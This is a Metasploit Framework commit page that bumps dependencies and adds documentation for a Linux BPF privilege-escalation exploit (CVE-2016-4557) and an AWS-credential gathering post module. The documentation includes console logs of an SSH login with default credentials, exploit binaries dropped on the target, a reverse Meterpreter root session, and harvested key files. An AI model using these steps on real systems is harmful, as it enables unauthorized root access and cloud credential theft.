Skip to content

Commit bab07b5

Browse files
committed
Bring rapid7#7540 up to date
2 parents 099a598 + 142ba75 commit bab07b5

File tree

23 files changed

+1664
-23
lines changed

23 files changed

+1664
-23
lines changed

Gemfile.lock

Lines changed: 17 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
PATH
22
remote: .
33
specs:
4-
metasploit-framework (4.12.41)
4+
metasploit-framework (4.12.42)
55
actionpack (~> 4.2.6)
66
activerecord (~> 4.2.6)
77
activesupport (~> 4.2.6)
@@ -14,7 +14,7 @@ PATH
1414
metasploit-concern
1515
metasploit-credential
1616
metasploit-model
17-
metasploit-payloads (= 1.1.26)
17+
metasploit-payloads (= 1.1.28)
1818
metasploit_data_models
1919
metasploit_payloads-mettle (= 0.0.8)
2020
msgpack
@@ -89,7 +89,8 @@ GEM
8989
minitest (~> 5.1)
9090
thread_safe (~> 0.3, >= 0.3.4)
9191
tzinfo (~> 1.1)
92-
addressable (2.4.0)
92+
addressable (2.5.0)
93+
public_suffix (~> 2.0, >= 2.0.2)
9394
arel (6.0.3)
9495
arel-helpers (2.3.0)
9596
activerecord (>= 3.1.0, < 6)
@@ -156,7 +157,7 @@ GEM
156157
activemodel (~> 4.2.6)
157158
activesupport (~> 4.2.6)
158159
railties (~> 4.2.6)
159-
metasploit-credential (2.0.4)
160+
metasploit-credential (2.0.5)
160161
metasploit-concern
161162
metasploit-model
162163
metasploit_data_models
@@ -168,8 +169,8 @@ GEM
168169
activemodel (~> 4.2.6)
169170
activesupport (~> 4.2.6)
170171
railties (~> 4.2.6)
171-
metasploit-payloads (1.1.26)
172-
metasploit_data_models (2.0.5)
172+
metasploit-payloads (1.1.28)
173+
metasploit_data_models (2.0.6)
173174
activerecord (~> 4.2.6)
174175
activesupport (~> 4.2.6)
175176
arel-helpers
@@ -195,8 +196,8 @@ GEM
195196
network_interface (0.0.1)
196197
nokogiri (1.6.8.1)
197198
mini_portile2 (~> 2.1.0)
198-
octokit (4.3.0)
199-
sawyer (~> 0.7.0, >= 0.5.3)
199+
octokit (4.6.0)
200+
sawyer (~> 0.8.0, >= 0.5.3)
200201
openssl-ccm (1.2.1)
201202
openvas-omp (0.0.4)
202203
packetfu (1.1.11)
@@ -214,7 +215,8 @@ GEM
214215
coderay (~> 1.1.0)
215216
method_source (~> 0.8.1)
216217
slop (~> 3.4)
217-
rack (1.6.4)
218+
public_suffix (2.0.4)
219+
rack (1.6.5)
218220
rack-test (0.6.3)
219221
rack (>= 1.0)
220222
rails-deprecated_sanitizer (1.0.3)
@@ -232,10 +234,10 @@ GEM
232234
thor (>= 0.18.1, < 2.0)
233235
rake (11.3.0)
234236
rb-readline-r7 (0.5.2.0)
235-
recog (2.0.22)
237+
recog (2.0.24)
236238
nokogiri
237239
redcarpet (3.3.4)
238-
rex-arch (0.1.1)
240+
rex-arch (0.1.2)
239241
rex-text
240242
rex-bin_tools (0.1.1)
241243
metasm
@@ -248,7 +250,7 @@ GEM
248250
metasm
249251
rex-arch
250252
rex-text
251-
rex-exploitation (0.1.1)
253+
rex-exploitation (0.1.2)
252254
jsobfu
253255
metasm
254256
rex-arch
@@ -301,8 +303,8 @@ GEM
301303
rspec-support (3.5.0)
302304
rubyntlm (0.6.1)
303305
rubyzip (1.2.0)
304-
sawyer (0.7.0)
305-
addressable (>= 2.3.5, < 2.5)
306+
sawyer (0.8.0)
307+
addressable (>= 2.3.5, < 2.6)
306308
faraday (~> 0.8, < 0.10)
307309
shoulda-matchers (3.1.1)
308310
activesupport (>= 4.0.0)
@@ -319,7 +321,7 @@ GEM
319321
timecop (0.8.1)
320322
tzinfo (1.2.2)
321323
thread_safe (~> 0.1)
322-
tzinfo-data (1.2016.8)
324+
tzinfo-data (1.2016.9)
323325
tzinfo (>= 1.0.0)
324326
windows_error (0.0.2)
325327
xpath (2.0.0)

data/exploits/CVE-2016-4557/doubleput

13.6 KB
Binary file not shown.

data/exploits/CVE-2016-4557/hello

9.35 KB
Binary file not shown.
8.63 KB
Binary file not shown.
Binary file not shown.

db/schema.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111
#
1212
# It's strongly recommended that you check this file into your version control system.
1313

14-
ActiveRecord::Schema.define(version: 20161004165612) do
14+
ActiveRecord::Schema.define(version: 20161107203710) do
1515

1616
# These are extensions that must be enabled in order to support this database
1717
enable_extension "plpgsql"
@@ -320,7 +320,8 @@
320320
t.string "jtr_format"
321321
end
322322

323-
add_index "metasploit_credential_privates", ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, using: :btree
323+
add_index "metasploit_credential_privates", ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT ((type)::text = 'Metasploit::Credential::SSHKey'::text))", using: :btree
324+
add_index "metasploit_credential_privates", ["type"], name: "index_metasploit_credential_privates_on_type_and_data_sshkey", unique: true, where: "((type)::text = 'Metasploit::Credential::SSHKey'::text)", using: :btree
324325

325326
create_table "metasploit_credential_publics", force: :cascade do |t|
326327
t.string "username", null: false
Lines changed: 167 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,167 @@
1+
## Notes
2+
3+
This module (and the original exploit) are written in several parts: hello, doubleput, and suidhelper.
4+
5+
Mettle at times on this exploit will give back an invalid session number error. In these cases payload/linux/x64/shell/bind_tcp seemed to always work.
6+
7+
As of PR submission, the original shell becomes unresposive when the root shell occurs. Metasm fails to compile due to fuse.h being required.
8+
9+
As of PR submission, killing of the process hello and doubleput has to occur manually. /tmp/fuse_mount also needs to be unmounted and deleted.
10+
11+
## Creating A Testing Environment
12+
13+
There are a few requirements for this module to work:
14+
15+
1. CONFIG_BPF_SYSCALL=y must be set in the kernel (default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
16+
2. kernel.unprivileged_bpf_disabled can't be set to 1 (default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
17+
3. fuse needs to be installed (non-default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
18+
19+
Using Ubuntu 16.04, simply `sudo apt-get install fuse` and you're all set!
20+
21+
This module has been tested against:
22+
23+
1. Ubuntu 16.04 linux-image-4.4.0-38-generic (pre-compile & live compile)
24+
2. Ubuntu 16.04 (default kernel) linux-image-4.4.0-21-generic (pre-compile & live compile)
25+
26+
This module was not tested against, but may work against:
27+
28+
1. Fedora 24 < [kernel-4.5.4-300.fc24](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
29+
2. Fedora 23 < [kernel-4.5.5-201.fc23](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
30+
3. Fedora 22 < [kernel-4.4.10-200.fc22](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
31+
4. Debian >= 4.4~rc4-1~exp1, < Fixed in version [4.5.3-1](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=823603)
32+
5. Ubuntu 14.04.1 <= [4.4.0-22.39](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1578705/comments/3)
33+
34+
## Verification Steps
35+
36+
1. Start msfconsole
37+
2. Exploit a box via whatever method
38+
4. Do: `use exploit/linux/local/bpf_priv_esc`
39+
5. Do: `set session #`
40+
6. Do: `set verbose true`
41+
7. Do: `exploit`
42+
43+
## Options
44+
45+
**MAXWAIT**
46+
47+
The first stage of this priv esc can take ~35seconds to execute. This is the timer on how long we should wait till we give up on the first stage finishing. Defaults to 120 (seconds)
48+
49+
**WritableDir**
50+
51+
A folder we can write files to. Defaults to /tmp
52+
53+
**COMPILE**
54+
55+
If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to Auto
56+
57+
## Scenarios
58+
59+
### Ubuntu 16.04 (with Linux 4.4.0-38-generic)
60+
61+
#### Initial Access
62+
63+
msf > use auxiliary/scanner/ssh/ssh_login
64+
msf auxiliary(ssh_login) > set rhosts 192.168.199.130
65+
rhosts => 192.168.199.130
66+
msf auxiliary(ssh_login) > set username ubuntu
67+
username => ubuntu
68+
msf auxiliary(ssh_login) > set password ubuntu
69+
password => ubuntu
70+
msf auxiliary(ssh_login) > exploit
71+
72+
[*] SSH - Starting bruteforce
73+
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) Linux ubuntu 4.4.0-38-generic #57-Ubuntu SMP Tue Sep 6 15:42:33 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
74+
[!] No active DB -- Credential data will not be saved!
75+
[*] Command shell session 1 opened (192.168.199.131:39175 -> 192.168.199.130:22) at 2016-09-27 12:25:31 -0400
76+
[*] Scanned 1 of 1 hosts (100% complete)
77+
[*] Auxiliary module execution completed
78+
79+
#### Escalate
80+
81+
In this scenario, gcc and libfuse-dev are both installed so we can live compile on the system.
82+
83+
msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc
84+
msf exploit(bpf_priv_esc) > set verbose true
85+
verbose => true
86+
msf exploit(bpf_priv_esc) > set session 1
87+
session => 1
88+
msf exploit(bpf_priv_esc) > set lhost 192.168.199.131
89+
lhost => 192.168.199.131
90+
msf exploit(bpf_priv_esc) > exploit
91+
92+
[*] Started reverse TCP handler on 192.168.199.131:4444
93+
[+] CONFIG_BPF_SYSCAL is set to yes
94+
[+] kernel.unprivileged_bpf_disabled is NOT set to 1
95+
[+] fuse is installed
96+
[+] libfuse-dev is installed
97+
[+] gcc is installed
98+
[*] Live compiling exploit on system
99+
[*] Writing files to target
100+
[*] Writing hello to /tmp/hello.c
101+
[*] Max line length is 65537
102+
[*] Writing 2760 bytes in 1 chunks of 9767 bytes (octal-encoded), using printf
103+
[*] Writing doubleput to /tmp/doubleput.c
104+
[*] Max line length is 65537
105+
[*] Writing 5182 bytes in 1 chunks of 18218 bytes (octal-encoded), using printf
106+
[*] Writing suidhelper to /tmp/suidhelper.c
107+
[*] Max line length is 65537
108+
[*] Writing 352 bytes in 1 chunks of 1219 bytes (octal-encoded), using printf
109+
[*] Compiling all modules on target
110+
[*] Writing payload to /tmp/AyDJSaMM
111+
[*] Max line length is 65537
112+
[*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf
113+
[*] Starting execution of priv esc. This may take about 120 seconds
114+
[+] got root, starting payload
115+
[*] Transmitting intermediate stager...(126 bytes)
116+
[*] Sending stage (2412016 bytes) to 192.168.199.130
117+
[*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:43734) at 2016-09-27 12:26:06 -0400
118+
[*] Cleaning up...
119+
120+
meterpreter > getuid
121+
Server username: uid=0, gid=0, euid=0, egid=0
122+
meterpreter > sysinfo
123+
Computer : 192.168.199.130
124+
OS : Ubuntu 16.04 (Linux 4.4.0-38-generic)
125+
Architecture : x86_64
126+
Meterpreter : x64/linux
127+
128+
#### Escalate w/ pre-compiled binaries
129+
130+
It is possible to force pre-compiled binaries, however in this case we look at a system that doesn't have libfuse-dev (ubuntu) installed
131+
132+
msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc
133+
msf exploit(bpf_priv_esc) > set verbose true
134+
verbose => true
135+
msf exploit(bpf_priv_esc) > set session 1
136+
session => 1
137+
msf exploit(bpf_priv_esc) > set lhost 192.168.199.131
138+
lhost => 192.168.199.131
139+
msf exploit(bpf_priv_esc) > exploit
140+
141+
[*] Started reverse TCP handler on 192.168.199.131:4444
142+
[+] CONFIG_BPF_SYSCAL is set to yes
143+
[+] kernel.unprivileged_bpf_disabled is NOT set to 1
144+
[+] fuse is installed
145+
[-] libfuse-dev is not installed. Compiling will fail.
146+
[*] Dropping pre-compiled exploit on system
147+
[*] Writing pre-compiled binarys to target
148+
[*] Max line length is 65537
149+
[*] Writing 9576 bytes in 1 chunks of 24954 bytes (octal-encoded), using printf
150+
[*] Max line length is 65537
151+
[*] Writing 13920 bytes in 1 chunks of 36828 bytes (octal-encoded), using printf
152+
[*] Max line length is 65537
153+
[*] Writing 8840 bytes in 1 chunks of 21824 bytes (octal-encoded), using printf
154+
[*] Writing payload to /tmp/AyDJSaMM
155+
[*] Max line length is 65537
156+
[*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf
157+
[*] Starting execution of priv esc. This may take about 120 seconds
158+
[+] got root, starting payload
159+
[-] This exploit may require process killing of 'hello', and 'doubleput' on the target
160+
[-] This exploit may requires manual umounting of /tmp/fuse_mount via 'fusermount -z -u /tmp/fuse_mount' on the target
161+
[-] This exploit may requires manual deletion of /tmp/fuse_mount via 'rm -rf /tmp/fuse_mount' on the target
162+
[*] Transmitting intermediate stager...(126 bytes)
163+
[*] Sending stage (2412016 bytes) to 192.168.199.130
164+
[*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:55522) at 2016-09-28 08:08:04 -0400
165+
166+
meterpreter > getuid
167+
Server username: uid=0, gid=0, euid=0, egid=0
Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
## Vulnerable Application
2+
3+
Any system with a `shell` or `meterpreter` session.
4+
5+
## Verification Steps
6+
7+
1. Get a `shell` or `meterpreter` session on some host.
8+
2. Do: ```use post/multi/gather/aws_keys```
9+
3. Do: ```set SESSION [SESSION_ID]```, replacing ```[SESSION_ID]``` with the session number you wish to run this one.
10+
4. Do: ```run```
11+
5. If the system has readable configuration files containing AWS key material, they will be printed out.
12+
13+
## Options
14+
15+
None.
16+
17+
## Scenarios
18+
19+
```
20+
msf post(aws_keys) > run
21+
22+
[*] Enumerating possible user AWS config files
23+
[*] Looking for AWS config/credentials files in /bin
24+
[*] Looking for AWS config/credentials files in /dev
25+
[*] Looking for AWS config/credentials files in /home/syslog
26+
[*] Looking for AWS config/credentials files in /home/test
27+
[*] Looking for AWS config/credentials files in /home/test ubuntu
28+
[*] Looking for AWS config/credentials files in /home/ubuntu
29+
[*] Looking for AWS config/credentials files in /nonexistent
30+
[*] Looking for AWS config/credentials files in /root
31+
[*] Looking for AWS config/credentials files in /usr/games
32+
[*] Looking for AWS config/credentials files in /usr/sbin
33+
[*] Looking for AWS config/credentials files in /var/backups
34+
[*] Looking for AWS config/credentials files in /var/cache/man
35+
[*] Looking for AWS config/credentials files in /var/cache/pollinate
36+
[*] Looking for AWS config/credentials files in /var/lib/gnats
37+
[*] Looking for AWS config/credentials files in /var/lib/landscape
38+
[*] Looking for AWS config/credentials files in /var/lib/libuuid
39+
[*] Looking for AWS config/credentials files in /var/list
40+
[*] Looking for AWS config/credentials files in /var/mail
41+
[*] Looking for AWS config/credentials files in /var/run/dbus
42+
[*] Looking for AWS config/credentials files in /var/run/ircd
43+
[*] Looking for AWS config/credentials files in /var/run/sshd
44+
[*] Looking for AWS config/credentials files in /var/spool/lpd
45+
[*] Looking for AWS config/credentials files in /var/spool/news
46+
[*] Looking for AWS config/credentials files in /var/spool/uucp
47+
[*] Looking for AWS config/credentials files in /var/www
48+
AWS Key Data
49+
============
50+
51+
Source AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY Profile
52+
------ ----------------- --------------------- -------
53+
/home/test/.aws/credentials BAR PRIVATE_TEST test
54+
/home/ubuntu/.aws/credentials ABC456 PRIVATE_TEST test
55+
/root/.s3cfg root_key root_secret default
56+
```

lib/metasploit/framework/version.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ def self.get_hash
3030
end
3131
end
3232

33-
VERSION = "4.12.41"
33+
VERSION = "4.12.42"
3434
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
3535
PRERELEASE = 'dev'
3636
HASH = get_hash

lib/msf/core/payload/apk.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -98,7 +98,7 @@ def fix_manifest(tempdir)
9898

9999
def parse_orig_cert_data(orig_apkfile)
100100
orig_cert_data = Array[]
101-
keytool_output = run_cmd("keytool -printcert -jarfile #{orig_apkfile}")
101+
keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile #{orig_apkfile}")
102102
owner_line = keytool_output.match(/^Owner:.+/)[0]
103103
orig_cert_dname = owner_line.gsub(/^.*:/, '').strip
104104
orig_cert_data.push("#{orig_cert_dname}")

0 commit comments

Comments
 (0)